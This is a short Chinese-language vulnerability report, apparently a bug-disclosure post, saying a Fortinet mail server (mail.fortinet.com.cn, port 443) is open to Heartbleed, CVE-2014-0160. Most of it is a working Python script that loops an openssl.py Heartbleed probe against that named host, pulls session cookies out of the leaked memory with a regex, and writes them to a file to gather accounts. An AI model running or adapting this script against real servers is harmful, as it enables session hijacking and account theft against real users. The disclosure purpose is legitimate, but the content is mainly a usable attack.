Fortinet邮箱服务器心脏滴血可抓账户cookie

Fortinet邮箱服务器url：https://mail.fortinet.com.cn
 存在漏洞的端口：443
 该端口存在CVE-2014-0160即心脏滴血漏洞，每次可以读取服务器内存64 KB数据
 首先是神器openssl.py测试信息：

可以看到账户cookie，可以通过如下脚本，不断的抓cookie：

import os
 import re
 import time
 
 accounts = []
 while True:
     result = os.popen('openssl.py mail.fortinet.com.cn').read()
     matches = re.findall('session1=(.*?);.*?OKIE=(Era.*?%3D%3D%0A)', result)
     for match in matches:
         if match not in accounts:
             accounts.append(match)
             with open('accounts.txt', 'a') as inFile:
                 inFile.write(str(match) + '/n')
             print 'New Account:', match
     time.sleep(1.0)